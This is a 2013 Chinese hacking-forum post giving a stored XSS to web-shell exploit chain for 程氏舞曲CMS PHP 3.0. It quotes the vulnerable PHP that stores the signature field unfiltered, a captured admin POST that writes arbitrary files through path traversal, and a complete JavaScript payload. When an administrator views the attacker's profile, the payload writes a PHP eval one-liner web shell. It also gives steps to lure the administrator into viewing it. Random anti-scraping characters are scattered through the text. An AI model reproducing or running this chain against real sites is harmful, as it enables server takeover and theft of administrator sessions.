找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2478|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题3 }0 y3 O, p  N& _
官网已经修补了,所以重新下了源码
3 W9 X" S/ @8 [因为 后台登入 还需要认证码 所以 注入就没看了。
- ^  j: E0 R9 I- J3 a& E( O存在 xss
7 F/ a" n: ^, C# l' N* Q漏洞文件 user/member/skin_edit.php. n! P. L' {, E7 _$ H
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:/ C5 _8 z  y1 x$ c
  0 N' K* n3 g$ [, R$ b
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
- Q7 X* \' }1 r; z' m  & w$ {- J8 x" y" H7 i
</textarea></td></tr>3 @2 A$ a1 R4 v: a) c  ?# x4 I( j
  
4 p$ P* N% N/ s  H% X$ ~             user/do.php
8 e$ r9 _- H2 @, ]- G- l! _6 j# E+ Y5 K" F, @9 f# N, g

' ^$ o! T- k* j" v- Uif($op=='zl'){ //资料7 B4 ~" f4 V! y
  2 x- Z( O) U9 U8 g; |0 J
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
2 U* L! a6 V2 Y             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
( B! \2 w9 D1 t$ S, G) ^  
/ J* f) v% I+ y+ l$ O$ E# j             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',2 n$ ~& Z; n/ n$ b7 V) T8 w$ R
  1 E5 b# W' y- K' }. T
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
% }% \1 B' ?& `" g: P8 s4 P             where CS_Name='".$cscms_name."'";' P( b& a; ?% h/ E% o6 K
  1 l3 w- {( ^' G. V
             if($db->query($sql)){
; H3 O$ f# o8 ]% p8 W  6 N' ]6 ~- q8 R* H8 l- R
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
3 Y$ k: [# \. ?* u& m: @  
7 s+ Z- Q# |0 z1 S8 U7 P             }else{* G7 A* q8 @, q6 y0 z
  3 y: N" g6 G, V6 U; O
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
) Z- R) _. @: _4 T' z5 ]( k  ! Y3 R9 l- i, z3 b6 \
             }
  J. X) Y+ K$ v3 D* H, ^  H8 z3 E
( f7 o% o( ?4 O! q9 }
没有 过滤导致xss产生。% v7 w% k3 m. }, K. A! i9 ~8 D
后台 看了下 很奇葩的是可以写任意格式文件。。6 A! G, q5 G" x2 V
抓包。。1 N# `! d2 B; K: }0 U7 y
' q9 E; O" v3 i
4 V+ ~& U* K( |* F! r! ]0 |
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
; M2 s  y! Z" c% n. f  9 l  D: A. P7 ~3 M. p
Accept: text/html, application/xhtml+xml, */*# J" n* l  K& I& t! Z- i
  , b( m6 V: b& B
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
( z! T* z4 Y3 g9 H# H/ Y  
: q$ \7 O) `  Y/ ~) H* `# rAccept-Language: zh-CN
& p, n+ d# O: n- ]    j( `( e5 f7 n4 s( [" i
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)  W. A7 q3 a0 k& s
  1 d  t5 ?# |( {! g3 R0 X
Content-Type: application/x-www-form-urlencoded
0 j  x+ s. j( e  
  g4 D1 \- w6 b' r% Z* b, @; }6 @Accept-Encoding: gzip, deflate
: Q% m* O( k6 i- [; H0 V) `9 r  $ ]) f! ~- x: z# ~& M; H
Host: 127.0.0.1$ |" w7 a. i8 P# ]2 j
  
4 h) j+ |; o& h5 C( E/ O7 [Content-Length: 38
8 o9 _1 H8 J1 F( J+ X  + p4 E! R1 `" }+ m; R' F/ N3 Q
DNT: 1
) u. J% {& k8 x  
# W& ]4 c& n* `' W* }# HConnection: Keep-Alive- B; K" v+ x) v- C) n- j: d0 S) K
  
' s/ S: z8 j2 Z; n- S' bCache-Control: no-cache8 g6 ~0 s; g/ x' y% J* E" f0 @6 l$ I
  % g5 a4 {# f# f* H
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
0 c3 A1 _+ P( X; q. }  0 J! ?0 r6 d  k5 b. K/ I2 N2 y4 G
( B+ T1 t; ?! M2 j
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
7 C& U% c- C( N5 x# \) j7 S# I  ^% ~9 D& M6 s
8 k) a9 W5 U/ X

" E# q% S% e* W. M/ D9 D+ x于是 构造js如下。/ w" s# g9 t5 v% P7 m1 f

3 e8 S8 T5 q* J" R( T本帖隐藏的内容<script>
; D, v9 i, u) J4 V0 V  bthisTHost = top.location.hostname;
8 o9 g9 {# i  i' A3 [0 g3 _/ _4 e9 T! H  
) y- d" g6 k6 Q8 _+ WthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";' l- v# q% s, e( C% x2 j$ t5 C
  : `9 }+ ^1 b! M. y6 j- R
function PostSubmit(url, data, msg) { 9 y( Y+ _, J0 {/ N* ?  m
    var postUrl = url;6 X2 B* C: j& H: {$ A1 d( Y
  
' q& ]9 o1 r/ X7 `, M+ `& V    var postData = data;
$ s. X# n& z% |$ H    var msgData = msg;
2 w  N& k/ g7 R4 i+ L    var ExportForm = document.createElement("FORM");   Z( E5 W3 {+ R8 A/ L- N$ z( q
    document.body.appendChild(ExportForm); & Z" [" ^% V8 x3 \- z
    ExportForm.method = "POST"; ' d% b+ T- T. ~2 s: ?
    var newElement = document.createElement("input");
* @1 e5 ~2 d" B$ [! {( i    newElement.setAttribute("name", "name");
  l5 w8 m# T8 q( b3 _$ k, B    newElement.setAttribute("type", "hidden");
  \9 v& e$ B; K8 H3 G4 O    var newElement2 = document.createElement("input"); 1 Y) [) V9 X7 f! O  a9 R' J  U, I1 p
    newElement2.setAttribute("name", "content"); " t5 {; u" F+ T+ U4 {
    newElement2.setAttribute("type", "hidden");
$ ^0 X/ q3 C$ d3 |3 e& u7 o- y& P    ExportForm.appendChild(newElement); # K: z! B# c% U7 ?# j% {
    ExportForm.appendChild(newElement2);
$ q: S# I& _5 Q  }3 ^    newElement.value = postData; ( K* }: Q6 S3 U4 h5 w% @. y
    newElement2.value = msgData; . z: T" S3 m/ B9 @
    ExportForm.action = postUrl; 5 }( ^- i, s) D% o) B2 V
    ExportForm.submit(); 8 _4 w/ z9 I$ t9 I1 Z
};
  ?- P* x% F, U7 V( v5 W/ v  1 X& t. Q6 X% I' y" S' K
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
6 J! T* K# u3 F* g0 [2 m  % T) Z) m9 L) q0 S6 N8 C
</script>
. o# ^" l6 G2 a
. e. W# `7 B& n3 @9 Z/ n- D6 ]0 i! H, x

! b5 W& z3 T# [% Z0 I  [1 |http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
8 ?1 R1 ?3 o- _6 |$ b用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
' d! ^) @0 S' n! `4 h, h7 y就会 在 skins\index\html\目录下生成 roker.php 一句话。

6 Y$ K# A$ |/ C! K# e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表